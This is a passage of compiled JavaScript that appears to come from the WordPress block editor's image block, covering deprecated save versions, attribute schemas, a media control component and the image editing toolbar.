        [`size-${sizeSlug}`]: sizeSlug,
        &quot;is-resized&quot;: width || height,
        &quot;has-custom-border&quot;: !!borderProps.className || borderProps.style &amp;&amp; Object.keys(borderProps.style).length &gt; 0
      });
      const imageClasses = clsx_default(borderProps.className, {
        [`wp-image-${id}`]: !!id
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: imageClasses || void 0,
          style: {
            ...borderProps.style,
            aspectRatio,
            objectFit: scale,
            width,
            height
          },
          width,
          height,
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          import_block_editor110.RichText.Content,
          {
            className: (0, import_block_editor110.__experimentalGetElementClassName)(
              &quot;caption&quot;
            ),
            tagName: &quot;figcaption&quot;,
            value: caption
          }
        )
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;figure&quot;, { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var v82 = {
    attributes: {
      align: {
        type: &quot;string&quot;
      },
      behaviors: {
        type: &quot;object&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      caption: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;class&quot;
      },
      id: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      width: {
        type: &quot;string&quot;
      },
      height: {
        type: &quot;string&quot;
      },
      aspectRatio: {
        type: &quot;string&quot;
      },
      scale: {
        type: &quot;string&quot;
      },
      sizeSlug: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure &gt; a&quot;,
        attribute: &quot;target&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      }
    },
    migrate({ width, height, ...attributes2 }) {
      if (!attributes2.behaviors?.lightbox) {
        return attributes2;
      }
      const {
        behaviors: {
          lightbox: { enabled }
        }
      } = attributes2;
      const newAttributes = {
        ...attributes2,
        lightbox: {
          enabled
        }
      };
      delete newAttributes.behaviors;
      return newAttributes;
    },
    isEligible(attributes2) {
      return !!attributes2.behaviors;
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        alt,
        caption,
        align,
        href,
        rel,
        linkClass,
        width,
        height,
        aspectRatio,
        scale,
        id,
        linkTarget,
        sizeSlug,
        title
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      const borderProps = (0, import_block_editor110.__experimentalGetBorderClassesAndStyles)(attributes2);
      const classes = clsx_default({
        [`align${align}`]: align,
        [`size-${sizeSlug}`]: sizeSlug,
        &quot;is-resized&quot;: width || height,
        &quot;has-custom-border&quot;: !!borderProps.className || borderProps.style &amp;&amp; Object.keys(borderProps.style).length &gt; 0
      });
      const imageClasses = clsx_default(borderProps.className, {
        [`wp-image-${id}`]: !!id
      });
      const image = /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
        &quot;img&quot;,
        {
          src: url,
          alt,
          className: imageClasses || void 0,
          style: {
            ...borderProps.style,
            aspectRatio,
            objectFit: scale,
            width,
            height
          },
          title
        }
      );
      const figure = /* @__PURE__ */ (0, import_jsx_runtime276.jsxs)(import_jsx_runtime276.Fragment, { children: [
        href ? /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        ) : image,
        !import_block_editor110.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(
          import_block_editor110.RichText.Content,
          {
            className: (0, import_block_editor110.__experimentalGetElementClassName)(
              &quot;caption&quot;
            ),
            tagName: &quot;figcaption&quot;,
            value: caption
          }
        )
      ] });
      return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(&quot;figure&quot;, { ...import_block_editor110.useBlockProps.save({ className: classes }), children: figure });
    }
  };
  var deprecated_default22 = [v82, v73, v64, v54, v44, v35, v210, v119];

  // packages/block-library/build-module/image/edit.mjs
  var import_blob12 = __toESM(require_blob(), 1);
  var import_blocks38 = __toESM(require_blocks(), 1);
  var import_components57 = __toESM(require_components(), 1);
  var import_data48 = __toESM(require_data(), 1);
  var import_block_editor113 = __toESM(require_block_editor(), 1);
  var import_element45 = __toESM(require_element(), 1);
  var import_i18n94 = __toESM(require_i18n(), 1);
  var import_notices8 = __toESM(require_notices(), 1);
  var import_compose24 = __toESM(require_compose(), 1);
  var import_url10 = __toESM(require_url(), 1);
  var import_upload_media = __toESM(require_upload_media(), 1);

  // packages/block-library/build-module/image/image.mjs
  var import_blob11 = __toESM(require_blob(), 1);
  var import_components56 = __toESM(require_components(), 1);
  var import_compose22 = __toESM(require_compose(), 1);
  var import_data47 = __toESM(require_data(), 1);
  var import_block_editor112 = __toESM(require_block_editor(), 1);
  var import_element43 = __toESM(require_element(), 1);
  var import_i18n93 = __toESM(require_i18n(), 1);
  var import_url9 = __toESM(require_url(), 1);
  var import_blocks37 = __toESM(require_blocks(), 1);
  var import_notices7 = __toESM(require_notices(), 1);
  var import_core_data23 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/utils/media-control.mjs
  var import_components55 = __toESM(require_components(), 1);
  var import_block_editor111 = __toESM(require_block_editor(), 1);
  var import_i18n92 = __toESM(require_i18n(), 1);
  var import_data46 = __toESM(require_data(), 1);
  var import_jsx_runtime277 = __toESM(require_jsx_runtime(), 1);
  function MediaControlPreview({
    url,
    alt,
    filename,
    itemGroupProps,
    className
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.__experimentalItemGroup, { ...itemGroupProps, as: &quot;span&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime277.jsxs)(import_components55.__experimentalHStack, { justify: &quot;flex-start&quot;, as: &quot;span&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(&quot;img&quot;, { src: url, alt }),
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.FlexItem, { as: &quot;span&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.__experimentalTruncate, { numberOfLines: 1, className, children: filename }) })
    ] }) });
  }
  function MediaControl({
    mediaId,
    mediaUrl,
    alt = &quot;&quot;,
    filename,
    allowedTypes,
    onSelect,
    onSelectURL,
    onError,
    onReset,
    isUploading = false,
    emptyLabel = (0, import_i18n92.__)(&quot;Add media&quot;)
  }) {
    const { getSettings: getSettings2 } = (0, import_data46.useSelect)(import_block_editor111.store);
    const onFilesDrop = (filesList) =&gt; {
      const { mediaUpload } = getSettings2();
      if (!mediaUpload) {
        return;
      }
      mediaUpload({
        allowedTypes,
        filesList,
        onFileChange([media]) {
          onSelect(media);
        },
        onError,
        multiple: false
      });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime277.jsxs)(&quot;div&quot;, { className: &quot;block-library-utils__media-control&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
        import_block_editor111.MediaReplaceFlow,
        {
          mediaId,
          mediaURL: mediaUrl,
          allowedTypes,
          onSelect,
          onSelectURL,
          onError,
          name: mediaUrl ? /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(
            MediaControlPreview,
            {
              url: mediaUrl,
              alt,
              filename
            }
          ) : emptyLabel,
          renderToggle: (props) =&gt; /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.Button, { ...props, __next40pxDefaultSize: true, children: isUploading ? /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.Spinner, {}) : props.children }),
          onReset
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime277.jsx)(import_components55.DropZone, { onFilesDrop })
    ] });
  }

  // packages/block-library/build-module/image/image.mjs
  var import_jsx_runtime278 = __toESM(require_jsx_runtime(), 1);
  var { DimensionsTool, ResolutionTool: ResolutionTool2 } = unlock(import_block_editor112.privateApis);
  var scaleOptions = [
    {
      value: &quot;cover&quot;,
      label: (0, import_i18n93._x)(&quot;Cover&quot;, &quot;Scale option for dimensions control&quot;),
      help: (0, import_i18n93.__)(&quot;Image covers the space evenly.&quot;)
    },
    {
      value: &quot;contain&quot;,
      label: (0, import_i18n93._x)(&quot;Contain&quot;, &quot;Scale option for dimensions control&quot;),
      help: (0, import_i18n93.__)(&quot;Image is contained without distortion.&quot;)
    }
  ];
  var WRITEMODE_POPOVER_PROPS = {
    placement: &quot;bottom-start&quot;
  };
  var ImageWrapper = ({ href, children }) =&gt; {
    if (!href) {
      return children;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      &quot;a&quot;,
      {
        href,
        onClick: (event) =&gt; event.preventDefault(),
        &quot;aria-disabled&quot;: true,
        style: {
          // When the Image block is linked,
          // it&#039;s wrapped with a disabled &lt;a /&gt; tag.
          // Restore cursor style so it doesn&#039;t appear &#039;clickable&#039;
          // and remove pointer events. Safari needs the display property.
          pointerEvents: &quot;none&quot;,
          cursor: &quot;default&quot;,
          display: &quot;inline&quot;
        },
        children
      }
    );
  };
  function ContentOnlyControls({
    attributes: attributes2,
    setAttributes,
    lockAltControls,
    lockAltControlsMessage,
    lockTitleControls,
    lockTitleControlsMessage
  }) {
    const [popoverAnchor, setPopoverAnchor] = (0, import_element43.useState)(null);
    const [isAltDialogOpen, setIsAltDialogOpen] = (0, import_element43.useState)(false);
    const [isTitleDialogOpen, setIsTitleDialogOpen] = (0, import_element43.useState)(false);
    return /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ToolbarItem, { ref: setPopoverAnchor, children: (toggleProps) =&gt; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.DropdownMenu,
        {
          icon: chevron_down_default,
          label: (0, import_i18n93.__)(&quot;More&quot;),
          toggleProps: {
            ...toggleProps,
            description: (0, import_i18n93.__)(&quot;Displays more controls.&quot;)
          },
          popoverProps: WRITEMODE_POPOVER_PROPS,
          children: ({ onClose }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.MenuItem,
              {
                onClick: () =&gt; {
                  setIsAltDialogOpen(true);
                  onClose();
                },
                &quot;aria-haspopup&quot;: &quot;dialog&quot;,
                children: (0, import_i18n93._x)(
                  &quot;Alternative text&quot;,
                  &quot;Alternative text for an image. Block toolbar label, a low character count is preferred.&quot;
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
              import_components56.MenuItem,
              {
                onClick: () =&gt; {
                  setIsTitleDialogOpen(true);
                  onClose();
                },
                &quot;aria-haspopup&quot;: &quot;dialog&quot;,
                children: (0, import_i18n93.__)(&quot;Title text&quot;)
              }
            )
          ] })
        }
      ) }),
      isAltDialogOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.Popover,
        {
          placement: &quot;bottom-start&quot;,
          anchor: popoverAnchor,
          onClose: () =&gt; setIsAltDialogOpen(false),
          offset: 13,
          variant: &quot;toolbar&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(&quot;div&quot;, { className: &quot;wp-block-image__toolbar_content_textarea__container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
            import_components56.TextareaControl,
            {
              className: &quot;wp-block-image__toolbar_content_textarea&quot;,
              label: (0, import_i18n93.__)(&quot;Alternative text&quot;),
              value: attributes2.alt || &quot;&quot;,
              onChange: (value) =&gt; setAttributes({ alt: value }),
              disabled: lockAltControls,
              help: lockAltControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockAltControlsMessage }) : /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
                  import_components56.ExternalLink,
                  {
                    href: (
                      // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                      (0, import_i18n93.__)(
                        &quot;https://www.w3.org/WAI/tutorials/images/decision-tree/&quot;
                      )
                    ),
                    children: (0, import_i18n93.__)(
                      &quot;Describe the purpose of the image.&quot;
                    )
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(&quot;br&quot;, {}),
                (0, import_i18n93.__)(&quot;Leave empty if decorative.&quot;)
              ] })
            }
          ) })
        }
      ),
      isTitleDialogOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
        import_components56.Popover,
        {
          placement: &quot;bottom-start&quot;,
          anchor: popoverAnchor,
          onClose: () =&gt; setIsTitleDialogOpen(false),
          offset: 13,
          variant: &quot;toolbar&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(&quot;div&quot;, { className: &quot;wp-block-image__toolbar_content_textarea__container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
            import_components56.TextControl,
            {
              __next40pxDefaultSize: true,
              className: &quot;wp-block-image__toolbar_content_textarea&quot;,
              label: (0, import_i18n93.__)(&quot;Title attribute&quot;),
              value: attributes2.title || &quot;&quot;,
              onChange: (value) =&gt; setAttributes({
                title: value
              }),
              disabled: lockTitleControls,
              help: lockTitleControls ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_jsx_runtime278.Fragment, { children: lockTitleControlsMessage }) : (0, import_element43.createInterpolateElement)(
                (0, import_i18n93.__)(
                  &quot;Describe the role of this image on the page. &lt;a&gt;(Note: many devices and browsers do not display this text.)&lt;/a&gt;&quot;
                ),
                {
                  a: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_components56.ExternalLink, { href: &quot;https://www.w3.org/TR/html52/dom.html#the-title-attribute&quot; })
                }
              )
            }
          ) })
        }
      )
    ] });
  }
  function Image2({
    temporaryURL,
    isSideloading,
    attributes: attributes2,
    setAttributes,
    isSingleSelected,
    insertBlocksAfter,
    onReplace,
    onSelectImage,
    onSelectURL,
    onUploadError,
    context,
    clientId,
    blockEditingMode,
    parentLayoutType,
    maxContentWidth
  }) {
    const {
      url = &quot;&quot;,
      alt,
      align,
      id,
      href,
      rel,
      linkClass,
      linkDestination,
      title,
      width,
      height,
      aspectRatio,
      scale,
      focalPoint,
      linkTarget,
      sizeSlug,
      lightbox,
      metadata
    } = attributes2;
    const [imageElement, setImageElement] = (0, import_element43.useState)();
    const [resizeDelta, setResizeDelta] = (0, import_element43.useState)(null);
    const [pixelSize, setPixelSize] = (0, import_element43.useState)({});
    const [offsetTop, setOffsetTop] = (0, import_element43.useState)(0);
    const setResizeObserved = (0, import_compose22.useResizeObserver)(([entry]) =&gt; {
      if (!resizeDelta) {
        const [box] = entry.borderBoxSize;
        setPixelSize({ width: box.inlineSize, height: box.blockSize });
      }
      setOffsetTop(entry.target.offsetTop);
    });
    const effectResizeableBoxPlacement = (0, import_element43.useCallback)(() =&gt; {
      setOffsetTop(imageElement?.offsetTop ?? 0);
    }, [imageElement]);
    const setRefs = (0, import_compose22.useMergeRefs)([setImageElement, setResizeObserved]);
    const { allowResize = true } = context;
    const { image, canUserEdit } = (0, import_data47.useSelect)(
      (select9) =&gt; {
        const imageRecord = id &amp;&amp; isSingleSelected ? select9(import_core_data23.store).getEntityRecord(
          &quot;postType&quot;,
          &quot;attachment&quot;,
          id,
          { context: &quot;view&quot; }
        ) : null;
        let canEdit = false;
        if (id &amp;&amp; isSingleSelected &amp;&amp; window?.__experimentalMediaEditor) {
          const { getEntityRecordPermissions } = unlock(
            select9(import_core_data23.store)
          );
          const permissions = getEntityRecordPermissions(
            &quot;postType&quot;,
            &quot;attachment&quot;,
            id
          );
          canEdit = permissions?.update || false;
        }
        return {
          image: imageRecord,
          canUserEdit: canEdit
        };
      },
      [id, isSingleSelected]
    );
    const { canInsertCover, imageEditing, imageSizes, maxWidth } = (0, import_data47.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId, canInsertBlockType, getSettings: getSettings22 } = select9(import_block_editor112.store);
        const rootClientId = getBlockRootClientId(clientId);
        const settings122 = getSettings22();
        return {
          imageEditing: settings122.imageEditing,
          imageSizes: settings122.imageSizes,
          maxWidth: settings122.maxWidth,
          canInsertCover: canInsertBlockType(
            &quot;core/cover&quot;,
            rootClientId
          )
        };
      },
      [clientId]
    );
    const { getBlock, getSettings: getSettings2 } = (0, import_data47.useSelect)(import_block_editor112.store);
    const onNavigateToEntityRecord = getSettings2().onNavigateToEntityRecord;
    const { replaceBlocks, toggleSelection } = (0, import_data47.useDispatch)(import_block_editor112.store);
    const { createErrorNotice, createSuccessNotice } = (0, import_data47.useDispatch)(import_notices7.store);
    const { editEntityRecord } = (0, import_data47.useDispatch)(import_core_data23.store);
    const isLargeViewport = (0, import_compose22.useViewportMatch)(&quot;medium&quot;);
    const isWideAligned = [&quot;wide&quot;, &quot;full&quot;].includes(align);
    const [
      { loadedNaturalWidth, loadedNaturalHeight },
      setLoadedNaturalSize
    ] = (0, import_element43.useState)({});
    const [isEditingImage, setIsEditingImage] = (0, import_element43.useState)(false);
    const [externalBlob, setExternalBlob] = (0, import_element43.useState)();
    const [hasImageErrored, setHasImageErrored] = (0, import_element43.useState)(false);
    const hasNonContentControls = blockEditingMode === &quot;default&quot;;
    const isContentOnlyMode = blockEditingMode === &quot;contentOnly&quot;;
    const showDimensionsControls = allowResize &amp;&amp; hasNonContentControls;
    const isResizable = allowResize &amp;&amp; hasNonContentControls &amp;&amp; !isWideAligned &amp;&amp; isLargeViewport;
    const imageSizeOptions = imageSizes.filter(
      ({ slug }) =&gt; image?.media_details?.sizes?.[slug]?.source_url
    ).map(({ name: name123, slug }) =&gt; ({ value: slug, label: name123 }));
    (0, import_element43.useEffect)(() =&gt; {
      if (!isExternalImage(id, url) || !isSingleSelected || !getSettings2().mediaUpload) {
        setExternalBlob();
        return;
      }
      if (externalBlob) {
        return;
      }
      window.fetch(url.includes(&quot;?&quot;) ? url : url + &quot;?&quot;).then((response) =&gt; response.blob()).then((blob) =&gt; setExternalBlob(blob)).catch(() =&gt; {
      });
    }, [id, url, isSingleSelected, externalBlob, getSettings2]);
    const { naturalWidth, naturalHeight } = (0, import_element43.useMemo)(() =&gt; {
      return {
        naturalWidth: imageElement?.naturalWidth || loadedNaturalWidth || void 0,
        naturalHeight: imageElement?.naturalHeight || loadedNaturalHeight || void 0
      };
    }, [loadedNaturalWidth, loadedNaturalHeight, imageElement?.complete]);
    function onImageError() {
      setHasImageErrored(true);
      const embedBlock = createUpgradedEmbedBlock({ attributes: { url } });
      if (void 0 !== embedBlock) {
        onReplace(embedBlock);
      }
    }
    function onImageLoad(event) {
      setHasImageErrored(false);
      setLoadedNaturalSize({
        loadedNaturalWidth: event.target?.naturalWidth,
        loadedNaturalHeight: event.target?.naturalHeight
      });
    }
    function onSetHref(props) {
      setAttributes(props);
    }
    function onSetLightbox(enable) {
      if (enable &amp;&amp; !lightboxSetting?.enabled) {
        setAttributes({
          lightbox: { enabled: true }
        });
      } else if (!enable &amp;&amp; lightboxSetting?.enabled) {
        setAttributes({
          lightbox: { enabled: false }
        });
      } else {
        setAttributes({
          lightbox: void 0
        });
      }
    }
    function resetLightbox() {
      if (lightboxSetting?.enabled &amp;&amp; lightboxSetting?.allowEditing) {
        setAttributes({
          lightbox: { enabled: false }
        });
      } else {
        setAttributes({
          lightbox: void 0
        });
      }
    }
    function onSetTitle(value) {
      setAttributes({ title: value });
    }
    function updateAlt(newAlt) {
      setAttributes({ alt: newAlt });
    }
    const imperativeFocalPointPreview = (value) =&gt; {
      if (imageElement) {
        imageElement.style.setProperty(
          &quot;object-position&quot;,
          mediaPosition2(value)
        );
      }
    };
    function updateImage(newSizeSlug) {
      const newUrl = image?.media_details?.sizes?.[newSizeSlug]?.source_url;
      if (!newUrl) {
        return null;
      }
      setAttributes({
        url: newUrl,
        sizeSlug: newSizeSlug
      });
    }
    function uploadExternal() {
      const { mediaUpload } = getSettings2();
      if (!mediaUpload) {
        return;
      }
      mediaUpload({
        filesList: [externalBlob],
        onFileChange([img2]) {
          onSelectImage(img2);
          if ((0, import_blob11.isBlobURL)(img2.url)) {
            return;
          }
          setExternalBlob();
          createSuccessNotice((0, import_i18n93.__)(&quot;Image uploaded.&quot;), {
            type: &quot;snackbar&quot;
          });
        },
        allowedTypes: ALLOWED_MEDIA_TYPES3,
        onError(message) {
          createErrorNotice(message, { type: &quot;snackbar&quot; });
        }
      });
    }
    (0, import_element43.useEffect)(() =&gt; {
      if (!isSingleSelected) {
        setIsEditingImage(false);
      }
    }, [isSingleSelected]);
    const canEditImage = id &amp;&amp; naturalWidth &amp;&amp; naturalHeight &amp;&amp; imageEditing;
    const allowCrop = isSingleSelected &amp;&amp; canEditImage &amp;&amp; !isEditingImage &amp;&amp; !isContentOnlyMode;
    function switchToCover() {
      replaceBlocks(
        clientId,
        (0, import_blocks37.switchToBlockType)(getBlock(clientId), &quot;core/cover&quot;)
      );
    }
    const dimensionsUnitsOptions = (0, import_components56.__experimentalUseCustomUnits)({
      availableUnits: [&quot;px&quot;]
    });
    const [lightboxSetting] = (0, import_block_editor112.useSettings)(&quot;lightbox&quot;);
    const showLightboxSetting = (
      // If a block-level override is set, we should give users the option to
      // remove that override, even if the lightbox UI is disabled in the settings.
      !!lightbox &amp;&amp; lightbox?.enabled !== lightboxSetting?.enabled || lightboxSetting?.allowEditing
    );
    const lightboxChecked = !!lightbox?.enabled || !lightbox &amp;&amp; !!lightboxSetting?.enabled;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const dimensionsControl = showDimensionsControls &amp;&amp; (SIZED_LAYOUTS.includes(parentLayoutType) ? /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      DimensionsTool,
      {
        panelId: clientId,
        value: { aspectRatio },
        onChange: ({ aspectRatio: newAspectRatio }) =&gt; {
          setAttributes({
            aspectRatio: newAspectRatio,
            scale: &quot;cover&quot;
          });
        },
        defaultAspectRatio: &quot;auto&quot;,
        tools: [&quot;aspectRatio&quot;]
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      DimensionsTool,
      {
        panelId: clientId,
        value: { width, height, scale, aspectRatio },
        onChange: ({
          width: newWidth,
          height: newHeight,
          scale: newScale,
          aspectRatio: newAspectRatio
        }) =&gt; {
          setAttributes({
            // CSS includes `height: auto`, but we need
            // `width: auto` to fix the aspect ratio when
            // only height is set due to the width and
            // height attributes set via the server.
            width: !newWidth &amp;&amp; newHeight ? &quot;auto&quot; : newWidth,
            height: newHeight,
            scale: newScale,
            aspectRatio: newAspectRatio
          });
        },
        defaultScale: &quot;cover&quot;,
        defaultAspectRatio: &quot;auto&quot;,
        scaleOptions,
        unitsOptions: dimensionsUnitsOptions,
        tools: isWideAligned ? [&quot;aspectRatio&quot;, &quot;scale&quot;] : [&quot;aspectRatio&quot;, &quot;widthHeight&quot;, &quot;scale&quot;]
      }
    ));
    const resetSettings = () =&gt; {
      setAttributes({
        lightbox: void 0
      });
      updateImage(DEFAULT_MEDIA_SIZE_SLUG3);
    };
    const arePatternOverridesEnabled = metadata?.bindings?.__default?.source === &quot;core/pattern-overrides&quot;;
    const {
      lockUrlControls = false,
      lockHrefControls = false,
      lockAltControls = false,
      lockAltControlsMessage,
      lockTitleControls = false,
      lockTitleControlsMessage,
      hideCaptionControls = false
    } = (0, import_data47.useSelect)(
      (select9) =&gt; {
        if (!isSingleSelected) {
          return {};
        }
        const {
          url: urlBinding,
          alt: altBinding,
          title: titleBinding,
          caption: captionBinding
        } = metadata?.bindings || {};
        const hasParentPattern = !!context[&quot;pattern/overrides&quot;];
        const urlBindingSource = (0, import_blocks37.getBlockBindingsSource)(
          urlBinding?.source
        );
        const altBindingSource = (0, import_blocks37.getBlockBindingsSource)(
          altBinding?.source
        );
        const titleBindingSource = (0, import_blocks37.getBlockBindingsSource)(
          titleBinding?.source
        );
        return {
          lockUrlControls: !!urlBinding &amp;&amp; !urlBindingSource?.canUserEditValue?.({
            select: select9,
            context,
            args: urlBinding?.args
          }),
          lockHrefControls: (
            // Disable editing the link of the URL if the image is inside a pattern instance.
            // This is a temporary solution until we support overriding the link on the frontend.
            hasParentPattern || arePatternOverridesEnabled
          ),
          hideCaptionControls: !!captionBinding,
          lockAltControls: !!altBinding &amp;&amp; !altBindingSource?.canUserEditValue?.({
            select: select9,
            context,
            args: altBinding?.args
          }),
          lockAltControlsMessage: altBindingSource?.label ? (0, import_i18n93.sprintf)(
            /* translators: %s: Label of the bindings source. */
            (0, import_i18n93.__)(&quot;Connected to %s&quot;),
            altBindingSource.label
          ) : (0, import_i18n93.__)(&quot;Connected to dynamic data&quot;),
          lockTitleControls: !!titleBinding &amp;&amp; !titleBindingSource?.canUserEditValue?.({
            select: select9,
            context,
            args: titleBinding?.args
          }),
          lockTitleControlsMessage: titleBindingSource?.label ? (0, import_i18n93.sprintf)(
            /* translators: %s: Label of the bindings source. */
            (0, import_i18n93.__)(&quot;Connected to %s&quot;),
            titleBindingSource.label
          ) : (0, import_i18n93.__)(&quot;Connected to dynamic data&quot;)
        };
      },
      [
        arePatternOverridesEnabled,
        context,
        isSingleSelected,
        metadata?.bindings
      ]
    );
    const showUrlInput = isSingleSelected &amp;&amp; !isEditingImage &amp;&amp; !lockHrefControls &amp;&amp; !lockUrlControls;
    const showCoverControls = isSingleSelected &amp;&amp; canInsertCover &amp;&amp; !isContentOnlyMode;
    const showBlockControls = showUrlInput || allowCrop || showCoverControls;
    const mediaReplaceFlow = isSingleSelected &amp;&amp; !isEditingImage &amp;&amp; !lockUrlControls &amp;&amp; // For contentOnly mode, put this button in its own area so it has borders around it.
    /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { group: isContentOnlyMode ? &quot;inline&quot; : &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      import_block_editor112.MediaReplaceFlow,
      {
        mediaId: id,
        mediaURL: url,
        allowedTypes: ALLOWED_MEDIA_TYPES3,
        onSelect: onSelectImage,
        onSelectURL,
        onError: onUploadError,
        name: !url ? (0, import_i18n93.__)(&quot;Add image&quot;) : (0, import_i18n93.__)(&quot;Replace&quot;),
        onReset: () =&gt; onSelectImage(void 0),
        variant: &quot;toolbar&quot;
      }
    ) });
    const hasDataFormBlockFields = window?.__experimentalContentOnlyInspectorFields;
    const editMediaButton = window?.__experimentalMediaEditor &amp;&amp; id &amp;&amp; isSingleSelected &amp;&amp; canUserEdit &amp;&amp; !isExternalImage(id, url) &amp;&amp; !isEditingImage &amp;&amp; onNavigateToEntityRecord &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(import_block_editor112.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
      import_components56.ToolbarButton,
      {
        onClick: () =&gt; {
          onNavigateToEntityRecord({
            postId: id,
            postType: &quot;attachment&quot;
          });
        },
        children: (0, import_i18n93.__)(&quot;Edit media&quot;)
      }
    ) });
    const controls = /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_jsx_runtime278.Fragment, { children: [
      showBlockControls &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsxs)(import_block_editor112.BlockControls, { group: &quot;block&quot;, children: [
        showUrlInput &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
          import_block_editor112.__experimentalImageURLInputUI,
          {
            url: href || &quot;&quot;,
            onChangeUrl: onSetHref,
            linkDestination,
            mediaUrl: image &amp;&amp; image.source_url || url,
            mediaLink: image &amp;&amp; image.link,
            linkTarget,
            linkClass,
            rel,
            showLightboxSetting,
            lightboxEnabled: lightboxChecked,
            onSetLightbox,
            resetLightbox
          }
        ),
        allowCrop &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(
          import_components56.ToolbarButton,
          {
            onClick: () =&gt; setIsEditingImage(true),
            icon: crop_default,
            label: (0, import_i18n93.__)(&quot;Crop&quot;)
          }
        ),
